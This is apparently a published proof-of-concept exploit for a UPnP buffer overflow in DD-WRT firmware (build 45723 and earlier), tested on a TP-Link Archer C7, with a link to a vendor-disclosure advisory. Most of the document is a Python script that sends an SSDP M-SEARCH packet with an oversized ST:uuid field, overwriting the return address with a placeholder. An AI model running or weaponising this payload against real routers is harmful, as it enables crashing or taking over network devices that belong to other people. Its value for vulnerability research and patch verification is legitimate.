DD-WRT 45723 Buffer Overflow

`# Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC)  
# Date: 24.03.2021  
# Exploit Author: Selim Enes 'Enesdex' Karaduman  
# Vendor Homepage: https://dd-wrt.com/  
# Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/  
# Version: 45723 or prior  
# Tested on: TP-Link Archer C7  
  
# https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/  
  
import socket  
  
target_ip = "192.168.2.1" # IP Address of Target  
off = "D"*164  
ret_addr = "AAAA"   
  
payload = off + ret_addr  
  
packet = \  
'M-SEARCH * HTTP/1.1\r\n' \  
'HOST:239.255.255.250:1900\r\n' \  
'ST:uuid:'+payload+'\r\n' \  
'MX:2\r\n' \  
'MAN:"ssdp:discover"\r\n' \  
'\r\n'  
  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)  
s.sendto(packet, (target_ip, 1900) )  
`